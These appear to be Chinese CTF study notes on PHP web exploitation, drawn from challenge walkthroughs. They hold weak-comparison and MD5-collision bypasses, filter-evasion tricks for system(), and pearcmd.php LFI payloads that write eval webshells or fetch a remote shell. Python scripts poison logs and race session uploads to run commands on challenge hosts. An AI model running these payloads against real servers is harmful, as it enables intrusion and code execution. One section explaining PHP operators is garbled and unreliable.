构造Payload如下:
key1=QNKCDZO&key2=240610708&key4[]=2&key5=2024a
POST-DATA: key3[]=1
第五关考察extract函数导致的变量覆盖漏洞,这里的if判断只要保证传入变量flag5即可,根据上面的正则限制,变量值不能为字母和数字,那么传入一个任意符号即可通过本层。
phpif($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}
构造Payload如下:
key1=QNKCDZO&key2=240610708&key4[]=2&key5=2024a
POST-DATA: key3[]=1&flag5=?
d131dd02c5e6eec4693d9a0698aff95c 2fcab58712467eab4004583eb8fb7f89 55ad340609f4b30283e488832571415a 085125e8f7cdc99fd91dbdf280373c5b d8823e3156348f5bae6dacd436c919c6 dd53e2b487da03fd02396306d248cda0 e99f33420f577ee8ce54b67080a80d1e c69821bcb6a8839396f9652b6ff72a70
and
d131dd02c5e6eec4693d9a0698aff95c 2fcab50712467eab4004583eb8fb7f89 55ad340609f4b30283e4888325f1415a 085125e8f7cdc99fd91dbd7280373c5b d8823e3156348f5bae6dacd436c919c6 dd53e23487da03fd02396306d248cda0 e99f33420f577ee8ce54b67080280d1e c69821bcb6a8839396f965ab6ff72a70
produce an MD5 collision.
Each of these blocks has MD5 hash 79054025255fb1a26e4bc422aef54eb4
.
两个不同的十六进制格式的字符串:
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2 4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2
都有MD5哈希:
008ee33a9d58b51cfeb425b0959121c9
范例:
>md5sum message1.bin message2.bin 008ee33a9d58b51cfeb425b0959121c9 message1.bin 008ee33a9d58b51cfeb425b0959121c9 message2.bin >sha1sum message1.bin message2.bin c6b384c4968b28812b676b49d40c09f8af4ed4cc message1.bin c728d8d93091e9c7b87b43d9e33829379231d7ca message2.bin
另一个例子(十六进制):
0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef 0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef
都有MD5哈希:
cee9a457e790cf20d4bdaa6d69f01e41
主要是php的强类型和弱类型比较的特点引发的漏洞,一般结合代码审计题目出现,少数结合sql注入在passwd字段产生考点。
数组绕过
有md5判断时候,数组返回都是null,所以可以a[]=1&b[]=2
数组还可以绕过:
md5(Array()) = null sha1(Array()) = null ereg(pattern,Array()) =null preg_match(pattern,Array()) = false strcmp(Array(), “abc”) =null strpos(Array(),“abc”) = null strlen(Array()) = null
0e在php判断都是0,所以相等,经过md5加密后这些都是0e开头:
字母数字混合类(MD5值):
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
大写字母类:
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
纯数字类:
0e462097431906509019562988736854
0e462097431906509019562988736854
phpvar_dump('a' == 0); //bool(true)
var_dump('1a' == 1); //bool(true)
var_dump('12a' == 1); //bool(false)
会出现上面的结果是因为字符串在和数字比较的时候会将字符串转化为数字,比如a转换失败成False,False又和0弱类型比较是相等的,所以第一个是true。 但是如果字符串是以数字开头的,那么就会转成这个数字再做比较,所以第二个也是true,第三个则是因为转成数字后变成了12,不等于1,则为false。
phpvar_dump(True == 0); //bool(false)
var_dump(True == 'False'); //bool(true)
var_dump(True == 2); //bool(true)
bool 1和任何比较都相等,除了0和false,因为0也认为是bool false,true是不等于false的,所以第一条是false,其余的全是true。
intval()函数在处理字符串型的科学计数法时,只输出e前面的数字
可以过:
intval(num) < 2020 && intval(num + 1) > 2021
phpmd5:0e215962017
[GWCTF 2019]枯燥的抽奖 注意php版本 工具:https://www.openwall.com/php_mt_seed/
pythonstr1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'w6Tv3Dw8xk'
str3 = str1[::-1]
length = len(str2)
res = ''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
break
print(res)
tips:
1.在url中加入参数前空格一下,可以避开对这个参数的检测
2.在参数开头加一个空格,也可能实现数字和字符比较的相等,如id= 123a(123前有一个空格),php会认为这是和123有一样的弱类型。
3、有时候url后不加/直接?接参数
4、同样的传参在bp和浏览器可能不同,最好都试试
可以数组绕过和fastcoll_v1.0.0.5.exe生成两个不同的字符串但是md5值相同。如果string限制数组,只能后者。
md5拼接/哈希长度拓展攻击
根据md5()里面的参数拼接的结果推断出参数:eg:[De1CTF 2019]SSRF Me 1
hashpump用法 https://www.cnblogs.com/pcat/p/5478509.html https://blog.csdn.net/qq_45290991/article/details/120400363
这两个图像具有相同的md5哈希:253dd04e87492e4fc3471de5e776bc3d
string转换比较+强比较:
MD5: payload
=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2sha1:
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
1.md5原始二进制利用+0e绕过md5弱等于+数组绕过md5强等于:[Easy MD5](https://github.com/C0nstellati0n/NoobCTF/blob/main/CTF/BUUCTF/Web/Easy MD5.md)。
一个0e开头且其md5值也是0e开头的字符串,可用于弱等于:0e215962017
phpMD5函数漏洞:
例:
$str1 = $_GET['str1'];
$str2 = $_GET['str2'];
if (md5($str1) == md5($str2)){
die('OK'); }
php弱类型比较产生的漏洞:
通常要构造出MD5值为0e开头的字符串,这样的话弱类型比较会认为是科学技术法,0的多少次方都是0,因此可以绕过
有一些字符串的MD5值为0e开头:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
以下值在sha1加密后以0E开头:
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0e1290633704
10932435112
还有MD5和双MD5以后的值都是0e开头的
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM
### 4.php基础
因为数组要求构造a和b不同,但是MD5相同,也就是说要求传入两个MD5相同的不同字符串。所以我们只能用MD5碰撞来实现
#1 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 #2 a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf% #3 $a="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2"; $b="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
注意一点,post时一定要urlencode!!!
1..PHP会将传参中的空格( )、小数点(.)自动替换成下划线。
当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这
个 [ 会被直接转为 _ ,但是后⾯如果有 . ,这个 . 就不会被转为 _ 。特殊变量名 ez_ser.from_you
,传入ez[ser.from_you
即可绕过
2.PHP文件常见函数参数
$_SERVER
_SERVER[‘PHP_SELF’] #当前正在执行 脚本的文件名,与 document root相关。 _SERVER[‘argv’] #传递给该 脚本的参数。 _SERVER[‘argc’] #包含传递给程序的 命令行参数的个数(如果运行在命令行模式)。 _SERVER[‘GATEWAY_INTERFACE’] #服务器使用的 CGI 规范的版本。例如,“CGI/1.1”。
$_SERVER["HTTP_X_FORWARDED_FOR"]代理服务器ip地址
_SERVER[‘SERVER_NAME’] #当前 运行脚本所在服务器 主机的名称。 _SERVER[‘SERVER_SOFTWARE’] #服务器标识的字串,在响应请求时的头部中给出。 _SERVER[‘SERVER_PROTOCOL’] #请求页面时通信协议的名称和版本。例如,“HTTP/1.0”。 _SERVER[‘REQUEST_METHOD’] #访问页面时的请求方法。例如:“GET”、“HEAD”,“POST”,“PUT”。 _SERVER[‘QUERY_STRING’] #查询(query)的字符串。 _SERVER[‘DOCUMENT_ROOT’] #当前 运行脚本所在的文档根目录。在服务器配置文件中定义。 _SERVER[‘HTTP_ACCEPT’] #当前请求的 Accept: 头部的内容。 _SERVER[‘HTTP_ACCEPT_CHARSET’] #当前请求的 Accept-Charset: 头部的内容。例如:“iso-8859-1,*,utf-8”。 _SERVER[‘HTTP_ACCEPT_ENCODING’] #当前请求的 Accept-Encoding: 头部的内容。例如:“gzip”。 _SERVER[‘HTTP_ACCEPT_LANGUAGE’]#当前请求的 Accept-Language: 头部的内容。例如:“en”。 _SERVER[‘HTTP_CONNECTION’] #当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。 _SERVER[‘HTTP_HOST’] #当前请求的 Host: 头部的内容。 _SERVER[’ HTTP_REFERER’] #链接到当前页面的前一页面的 URL 地址。 _SERVER[’ HTTP_USER_AGENT’] #当前请求的 User-Agent: 头部的内容。 _SERVER[‘REMOTE_ADDR’] #正在浏览当前页面用户的 IP 地址。 _SERVER[‘REMOTE_HOST’] #正在浏览当前页面用户的 主机名。 _SERVER[‘REMOTE_PORT’] #用户连接到服务器时所使用的端口。 _SERVER[‘SCRIPT_FILENAME’] #当前执行 脚本的 绝对路径名。 _SERVER[‘SERVER_ADMIN’] # 管理员信息 _SERVER[‘SERVER_PORT’] #服务器所使用的端口 _SERVER[‘SERVER_SIGNATURE’] #包含服务器版本和 虚拟主机名的字符串。 _SERVER[‘PATH_TRANSLATED’] #当前 脚本所在文件系统(不是文档根目录)的基本路径。 _SERVER[‘SCRIPT_NAME’] #包含当前 脚本的路径。这在页面需要指向自己时非常有用。 $_SERVER[‘REQUEST_URI’] #访问此页面所需的 URI。例如,“/index.html”
在 PHP 中,get_defined_vars() 函数用于获取当前作用域内所有已定义的变量,包括环境变量、服务器变量以及用户定义的变量。这个函数返回一个包含所有变量的关联数组,其中数组的键是变量名,数组的值是变量的值。
以下是一个使用 get_defined_vars() 的示例:
php<?php
$a = 1;
$b = 'hello';
*// 获取当前作用域内所有已定义的变量*
$vars = get_defined_vars();
*// 打印所有变量*
echo '<pre>';
print_r($vars);
echo '</pre>';
?>
php#可以获取全部可用已定义变量
get_defined_vars
#利用函数处理的限制进行目录溢出(测试出大概需要21次以上才能成功)file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
#define width 1 #define height 1
放头部和末尾都可以。
php的mb_strtolower()函数可用于绕过一些过滤。
<?php var_dump(mb_strtolower('İ')==='i'); //true ?>
php#在数字前加上空格,也会被is_numeric函数认为是数字,还有%09 %0A %0B %0C %0D + %2B - . 0 1 2 3 4 5 6 7 8 9
#trim函数会过滤空格以及\n\r\t\v\0,但不会过滤\f(这是换页键,%0c)
?num=%0c36 #%0是\f的urlencode形式
#利用函数处理的限制进行目录溢出(测试出大概需要21次以上才能成功)
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
php‘- >’符号是“插入式解引用操作符”(infix dereference operator)。换句话说,它是调用由引用传递参数的子程序的方法(当然,还有其它的作用)。正如我们上面所提到的,在调用PHP的函数的时候,大部分参数都是通过引用传递的。PHP中的‘->’功能就和它们在Perl或C++中一样。下面是一个简单的解引用的例子:
在PHP的脚本中‘=>’操作符时很常见的。因为php数组函数很丰富,我们要经常用到数组,因为它操作数据很方便。
php$phparr= new array( in => 'reply,'
side => 'left',
padx => 2m,
pady => 2m,
ipadx => 2m,
ipady => 1m
)
顺便说一下,如果你需要用数字“大于等于”的符号,你应该用“>=”而不是“=>”。 在PHP中“::”这个叫范围解析操作符,又名域运算符。“::”符号可以认为是与C语言中的“.”相似的,而它更像C++中(Perl)的::类范围操作符。 php调用类的内部静态成员,或者是类之间调用就要用:: 下面是一个例子:
phpclass A
{
static $count = 0;
static function haha()
{
//
}
function diaoyoug()
{
self::haha();
self::$count;
}
}
a.b.c; /* C语言中的 */
a::b::c(); // C++ 中的函数
$a::b::c; # Perl 5中的标量
php0x01 十六进制绕过
“\x73\x79\x73\x74\x65\x6d”(); === system();
0x02 括号绕过
(sy.(st).em)(); === system();
0x03 内敛替代
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
<?=`ls /`;?> 等效于<?php echo `ls /`; ?>
0x04 取反(~)绕过
(~%8C%86%8C%8B%9A%92)();===system();
1.以下代码可传入23333%0a绕过。可以说末尾加个%0a是绕过^xxx$
这个格式的普遍解法,因为preg_match只能匹配一行数据,无法处理换行符。
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; }
2.php pcre回溯限制绕过preg_match。例题:[FBCTF2019]RCEService
利用new一个类之后后边不管是什么都能传上去,只不过只有new一个php的基类时上传的php文件才不会因为报错而导致停止执行。也就是说,这里随便new一个基类就行
有用的payload(好像一定要post,不知道为什么):
php/?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/man.php+-d+man_dir=<?eval($_POST[0]);?>+-s
/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_REQUEST[0]);?>+/tmp/hello.php
/?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_REQUEST[123]);?>+/tmp/1.php
/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://f91c-2001-250-3000-3cc4-a43d-c0fe-ebf2-8d.ngrok.io/shell.php(不知道有没有用,好像没用)
如果开启register_argc_argv这个配置,我们在php中传入的query-string会被赋值给_SERVER['argv'],需要注意的是 这个数字中的值是通过传进来内容中的+来进行分隔的,下面的payload中也有频繁利用到。
phppublic static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}
payload:
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
通过install命令远程下载shell 在有回显的情况下,服务器会回显下载的目录
php/?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php
W4师傅还提出了一个很脑洞的利用方法
phppayload为/?+download+http://ip:port/test1.php&file=/usr/local/lib/php/pearcmd.php
在服务器上构造好目录
.php&file=/usr/local/lib/php/,将恶意php命名为pearcmd.phpphp/?file=/usr/local/lib/php/pearcmd.php&+download+http://ip:port/source/hint.txt
不出网
php从大佬这里学到的https://blog.csdn.net/rfrder/article/details/121042290
pear -c /tmp/.feng.php -d man_dir=<?=eval($_POST[0]);?> -s
把木马写入本地
phphex2bin('73797374656d')('uniq /f*');
在 PHP 中,有许多函数可以用于编码或进制转换。以下是一些常用的函数:
bin2hex
:将二进制数据转换为十六进制表示。
php$binary = "abc";
echo bin2hex($binary);
hex2bin
:将十六进制表示的数据转换为二进制数据。
php$hex = "616263";
echo hex2bin($hex);
base64_encode
:将数据编码为 base64。
php$data = "Hello, World!";
echo base64_encode($data);
base64_decode
:解码 base64 编码的数据。
php$base64 = "SGVsbG8sIFdvcmxkIQ==";
echo base64_decode($base64);
urlencode
:编码 URL。
php$url = "https://example.com/?name=John Doe";
echo urlencode($url);
urldecode
:解码 URL 编码的字符串。
php$url = "https%3A%2F%2Fexample.com%2F%3Fname%3DJohn+Doe";
echo urldecode($url);
ord
:返回字符串的首个字符的 ASCII 值。
php$string = "Hello";
echo ord($string);
chr
:从指定的 ASCII 值返回字符。
php$ascii = 72;
echo chr($ascii);
dechex
:十进制转十六进制。
php$number = 255;
echo dechex($number);
hexdec
:十六进制转十进制。
php$hex = "ff";
echo hexdec($hex);
decbin
:十进制转二进制。
php$number = 12;
echo decbin($number);
bindec
:二进制转十进制。
php$binary = "1100";
echo bindec($binary);
echo base_convert('system',36,10); //得到1751504350,从36进制转换到10进制,36进制包含10个数字和26个字母 echo base_convert('getallheaders',30,10); //得到8768397090111664438,这里不使用36进制是因为精度会丢失,尝试到30的时候成功
php<?php
/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-06 14:04:45
*/
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
php$_GET[abs]($_GET[acos]) //strlen($content) >= 80,有长度限制,所以利用get命令执行
↓
$_GET{abs}($_GET{acos}) //[]在黑名单,用{}代替
↓
$pi=_GET;$$pi{abs}($$pi{acos})
↓
进制转换
base_convert(number,frombase,tobase):在任意进制之间转换数字
dechex():把十进制数转换为十六进制数
hex2bin():把十六进制值的字符串转换为二进制,返回 ASCII 字符
最重要的是hex2bin函数,但是不在白名单里面
base_convert构造hex2bin(我想用base_convert直接转_GET,但是只能得到get)
base_convert('hex2bin',36,10) → 37907361743
_GET → hex十六进制 5f474554 (不能有字母所以十六进制不行) → dec十进制 1598506324 (在线转换)
所以_GET可以写为
hex2bin(dechex(1598506324))
↓
base_convert('37907361743',10,36)(dechex(1598506324))
最后的payload
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=ls
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat *
php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file); }
这次把:给ban了,题目提示使用日志包含,之前都是手工发包,这次写个脚本来跑
python #-- coding:UTF-8 -- # Author:dota_st # Date:2021/2/20 19:51 # blog: www.wlhhlc.top import requests url = "http://893b0ed2-2497-41f3-b056-c5617165c2f3.chall.ctf.show:8080/" + "?file=/var/log/nginx/access.log" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>' } data = { 'dotast': 'system("cat fl0g.php");' } req = requests.get(url=url, headers=headers) result = requests.post(url=url, data=data) print(result.text)
运行得到flag
php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }
这次把.
给过滤了,日志包含使用不了,我们使用session文件包含,先了解一些知识点,在php5.4之后php.ini开始有几个默认选项
1.session.upload_progress.enabled = on 2.session.upload_progress.cleanup = on 3.session.upload_progress.prefix = “upload_progress_” 4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS” 5.session.use_strict_mode=off
第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容 第三和第四个
prefix+name
将表示为session中的键名 第五个表示我们对Cookie中sessionID可控
简而言之,我们可以利用session.upload_progress
将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off
的关系,我们可以自定义sessionID
linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name
的值,最后被写入sess_文件里
还有一个关键点就是session.upload_progress.cleanup
默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完成
python #-- coding:UTF-8 -- # Author:dota_st # Date:2021/2/20 23:51 # blog: www.wlhhlc.top import io import requests import threading url = 'http://453228ae-28f2-4bb0-b401-83514feae8df.chall.ctf.show:8080/' def write(session): data = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast' } while True: f = io.BytesIO(b'a' * 1024 * 10) response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)}) def read(session): while True: response = session.get(url+'?file=/tmp/sess_flag') if 'dotast' in response.text: print(response.text) break else: print('retry') if __name__ == '__main__': session = requests.session() write = threading.Thread(target=write, args=(session,)) write.daemon = True write.start() read(session)
运行后得到flag PR(L6K(2[1)_]KLZAS8[M.png)
php session_unset(); session_destroy(); if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }
继续利用session文件包含,使用上题脚本运行即可得到flag
php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); system("rm -rf /tmp/*"); include($file); }
加了一个rm -rf
,但没关系,我们是条件竞争,只要一直传就有机会能执行,继续跑上面的脚本拿flag
php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); if(file_exists($file)){ $content = file_get_contents($file); if(strpos($content, "<")>0){ die("error"); } include($file); } }
这次会匹配调用die,我们依然使用条件竞争进行pass,不过这次我们多加点线程
python #-- coding:UTF-8 -- # Author:dota_st # Date:2021/2/20 23:51 # blog: www.wlhhlc.top import io import requests import threading url = 'http://8c42100f-3744-4c9f-83d4-5ac626e78719.chall.ctf.show:8080/' def write(session): data = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast' } while True: f = io.BytesIO(b'a' * 1024 * 10) response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)}) def read(session): while True: response = session.get(url+'?file=/tmp/sess_flag') if 'dotast' in response.text: print(response.text) break else: print('retry') if __name__ == '__main__': session = requests.session() for i in range(30): threading.Thread(target=write, args=(session,)).start() for i in range(30): threading.Thread(target=read, args=(session,)).start()
运行后得到flag
php define('还要秀?', dirname(__FILE__)); set_include_path(还要秀?); if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }
继续使用上题脚本跑,跑完得到flag
php if(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); }
分析一下源码,get传入file,post传入content,但$content
在开头增加了die函数,即使我们写入一句话也会先die,导致无法执行;并且还对file
进行了url解码
我们可以使用base64的方式写入文件再进行decode,base64编码只包含64个可打印字符,而php解码base64时遇到不在其中的字符,会忽略掉,将合法字符进行组合变成一个字符串进行解码,所以<?php die('大佬别秀了');?>
对其解码后,只有phpdie
六个字符组成字符串进行解码,思路已经很清晰了,下面讲讲怎么做
